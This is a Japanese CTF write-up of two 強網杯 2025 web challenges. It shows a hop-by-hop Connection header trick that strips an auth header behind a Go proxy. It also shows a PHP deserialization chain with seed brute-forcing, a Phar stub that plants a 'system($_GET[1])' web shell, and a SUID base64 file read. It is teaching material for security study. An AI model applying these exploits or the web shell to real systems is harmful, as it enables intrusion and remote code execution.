概要
本稿では、強網杯 2025 に出題された Web 部門の 2 問について技術的な解説を行う。1 問目は Go 言語製のミドルウェアと Flask アプリケーション間で発生する HTTP ヘッダー処理の不備を突く問題、2 問目は PHP の逆シリアライゼーションとファイルアップロード機能を悪用した RCE 問題である。
1. Secret Vault
本課題は、Python (Flask) 製のメインアプリケーションと、Go 言語製の認証サーバーで構成されている。認証サーバーは 4444 ポートで動作し、gorilla/mux を使用した署名ロジックを含んでいる。また、5555 ポートで動作するミドルウェアが、メインサーバー(5000 ポート)へのリクエストを仲介する。
認証フローと脆弱性
ミドルウェアはメインサーバーから JWT 鍵を取得し、UID の検証および抽出を行う。その際、特定のヘッダーを削除し、X-User ヘッダーに UID を設定する処理が含まれている。
func main() {
proxy := &httputil.ReverseProxy{Director: func(req *http.Request) {
req.URL.Scheme = "http"
req.URL.Host = "127.0.0.1:5000"
userId := extractUserId(req)
log.Printf("User ID: %s, Target: %s", userId, req.URL.String())
// 既存の認証ヘッダーをクリア
req.Header.Del("Authorization")
req.Header.Del("X-User")
req.Header.Del("X-Forwarded-For")
req.Header.Del("Cookie")
if userId == "" {
req.Header.Set("X-User", "anonymous")
} else {
req.Header.Set("X-User", userId)
}
}}
}
メインサーバー側の認証デコレータは、X-User ヘッダーが存在しない場合、デフォルト値として '0' を採用する仕様になっている。
def validate_session(view_func):
@wraps(view_func)
def wrapper(*args, **kwargs):
user_id = request.headers.get('X-User', '0')
print(user_id)
if user_id == 'anonymous':
flash('Authentication required.', 'warning')
return redirect(url_for('login_page'))
try:
user_id_int = int(user_id)
except (TypeError, ValueError):
flash('Invalid session.', 'warning')
return redirect(url_for('login_page'))
user = Database.find_user(id=user_id_int)
if not user:
flash('User not found.', 'warning')
return redirect(url_for('login_page'))
g.current_user = user
return view_func(*args, **kwargs)
return wrapper
システム上、UID が '0' のユーザーは管理者(admin)として定義されている。
user = User(
id=0,
username='admin',
password_hash=password_hash,
salt=base64.b64encode(salt).decode('utf-8'),
)
したがって、ミドルウェア経由でメインサーバーに到達する際、X-User ヘッダーを欠落させることができれば、管理者権限を取得できる。
エクスプロイト
HTTP/1.1 の仕様において、Connection ヘッダーに特定のヘッダー名を列挙すると、ホップバイホップでそのヘッダーが削除される性質を利用する。Connection: close,X-User を送信することで、ミドルウェアとメインサーバー間の通信においてX-User が除去される。
結果として、Flask アプリケーション側ではX-User が存在せず、デフォルト値 '0' が適用され管理者として認証される。
GET /dashboard HTTP/1.1
Host: target.example.com:33002
Cache-Control: max-age=0
Accept-Language: ja-JP,ja;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://target.example.com:33002/login
Accept-Encoding: gzip, deflate, br
Cookie: session=...; token=...
Connection: close,X-User
このリクエストを送信することで、フラグが格納されたダッシュボードへのアクセスに成功する。
flag{698d8138-f41d-4f03-9301-3b37f0b2dd7b}
2. EZ PHP
本課題は、難読化された PHP コードが含まれており、base64 デコードすると以下のロジックが確認できる。
function createRandomStr($len = 8) {
$chars = 'abcdefghijklmnopqrstuvwxyz';
$str = '';
for ($i = 0; $i < $len; $i++) {
$r = rand(0, strlen($chars) - 1);
$str .= $chars[$r];
}
return $str;
}
date_default_timezone_set('Asia/Shanghai');
class Challenge {
public $flagOp;
public $executor;
public $mode;
public function __construct() {
$this->flagOp = new class {
public function __construct() {
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');
$fname = $GLOBALS['filename'];
$seedVal = $time . intval($fname);
mt_srand($seedVal);
$dir = 'uploads/';
$files = glob($dir . '*');
foreach ($files as $f) {
if (is_file($f)) unlink($f);
}
$randStr = createRandomStr(8);
$newName = $time . '.' . $randStr . '.' . 'jpg';
$GLOBALS['file'] = $newName;
$tmp = $_FILES['file']['tmp_name'];
$path = $dir . $newName;
if (system("cp " . $tmp . " " . $path)) {
echo "upload ok";
} else {
echo "error";
}
}
}
public function __wakeup() { phpinfo(); }
public function readFlag() {
function readFlag() {
if (isset($GLOBALS['file'])) {
$f = $GLOBALS['file'];
$f = basename($f);
if (preg_match('/:\/\//', $f)) die("error");
$content = file_get_contents("uploads/" . $f);
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $content)) {
die("Illegal content");
}
include("uploads/" . $f);
}
}
}
};
}
public function __destruct() {
$func = $this->executor;
$GLOBALS['filename'] = $this->flagOp;
if ($this->mode == 'class') {
new $func();
} else if ($this->mode == 'func') {
$func();
} else {
highlight_file('index.php');
}
}
}
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"Challenge":N';
@unserialize($ser);
攻撃チェーンの構築
目的は、アップロードしたファイルを実行させることである。そのためには、匿名クラス内のreadFlagメソッドを呼び出し、ファイル包含を起こす必要がある。
PHP の逆シリアライゼーションにおいて、匿名クラスのクラス名は以下の形式になる。
class@anonymous/path/to/file.php(line) : eval()'d code:line$id
今回はeval内で定義されているため、行番号などを予測し、配列コールバックを用いてメソッドを呼び出す。
<?php
class Challenge {
public $flagOp;
public $executor;
public $mode;
}
$obj1 = new Challenge();
$obj1->flagOp = "placeholder";
$obj1->executor = 'Challenge';
$obj1->mode = 'class';
$obj2 = new Challenge();
$obj2->flagOp = "placeholder";
$obj2->executor = ["class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$1", 'readFlag'];
$obj2->mode = 'func';
echo serialize($obj1);
echo serialize($obj2);
?>
これにより、__destruct で匿名クラスのコンストラクタが実行され、ファイルアップロードが行われる。その後、別のインスタンスでreadFlagが呼ばれるように仕込む。
ファイル名予測と Phar
アップロードされるファイル名は、時刻とファイル名の整数値を seed とした乱数で生成される。この seed を総当たりすることで、ファイル名接頭辞をpharに一致させる。
<?php
date_default_timezone_set('Asia/Shanghai');
function createRandomStr($len = 8) {
$chars = 'abcdefghijklmnopqrstuvwxyz';
$str = '';
for ($i = 0; $i < $len; $i++) {
$r = rand(0, strlen($chars) - 1);
$str .= $chars[$r];
}
return $str;
}
$now = date('Hi');
$found = false;
for ($i = 0; $i < 10000000; $i++) {
$seedVal = $now . $i;
mt_srand((int)$seedVal);
srand((int)$seedVal);
$randStr = createRandomStr(8);
if (substr($randStr, 0, 4) === 'phar') {
echo "Seed: " . $seedVal . "\n";
echo "String: " . $randStr . "\n";
$found = true;
break;
}
}
?>
適切な seed が発見できれば、アップロードされるファイル名を制御できる。次に、Phar ファイルを作成し、stub 部分でシェルを書き込む。
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
system('echo "<?php system(\$_GET[1]); ?>" > shell.php');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
作成した Phar ファイルは WAF を回避するため gzip 圧縮し、拡張子を偽装してアップロードする。ファイル名予測が成功すれば、サーバー上に任意の PHP ファイルが生成される。
権限昇格とフラグ取得
生成されたシェルからアクセスすると、通常のユーザー権限ではフラグが読めない。SUID 権限を持つバイナリを検索する。
find / -user root -perm -4000 -print 2>/dev/null
結果、base64 コマンドに SUID 権限が付与されていることが確認できる。GTFOBins の手法を参考にし、base64 を経由してファイルを読み出す。
base64 "/flag" | base64 --decode
これにより、ルート権限でフラグファイルの内容を取得できる。
flag{145f3a7d-5596-4fb3-8092-90c15ebd3171}